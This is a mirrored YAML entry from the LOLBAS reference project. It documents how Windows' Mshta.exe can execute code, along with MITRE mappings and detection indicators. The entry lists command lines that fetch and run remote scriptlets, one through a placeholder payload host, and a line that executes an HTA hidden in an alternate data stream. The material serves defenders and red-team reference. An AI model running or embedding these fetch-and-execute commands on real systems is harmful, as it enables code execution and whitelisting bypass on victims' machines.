mirror of
https://github.com/LOLBAS-Project/LOLBAS
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57 lines
2.6 KiB
YAML
57 lines
2.6 KiB
YAML
---
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Name: Mshta.exe
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Description: Used by Windows to execute html applications. (.hta)
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Author: 'Oddvar Moe'
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Created: '2018-05-25'
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Commands:
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- Command: mshta.exe evilfile.hta
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Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1170
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MitreLink: https://attack.mitre.org/wiki/Technique/T1170
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
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Description: Executes VBScript supplied as a command line argument.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1170
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MitreLink: https://attack.mitre.org/wiki/Technique/T1170
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
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Description: Executes JavaScript supplied as a command line argument.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1170
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MitreLink: https://attack.mitre.org/wiki/Technique/T1170
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: mshta.exe "C:\ads\file.txt:file.hta"
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Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
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Usecase: Execute code hidden in alternate data stream
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Category: ADS
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Privileges: User
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MitreID: T1170
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MitreLink: https://attack.mitre.org/wiki/Technique/T1170
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
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Full_Path:
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- Path: C:\Windows\System32\mshta.exe
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- Path: C:\Windows\SysWOW64\mshta.exe
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Code_Sample:
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- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct
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Detection:
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- IOC: mshta.exe executing raw or obfuscated script within the command-line
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- IOC: Usage of HTA file
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Resources:
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- Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
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- Link: https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
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- Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
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- Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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--- |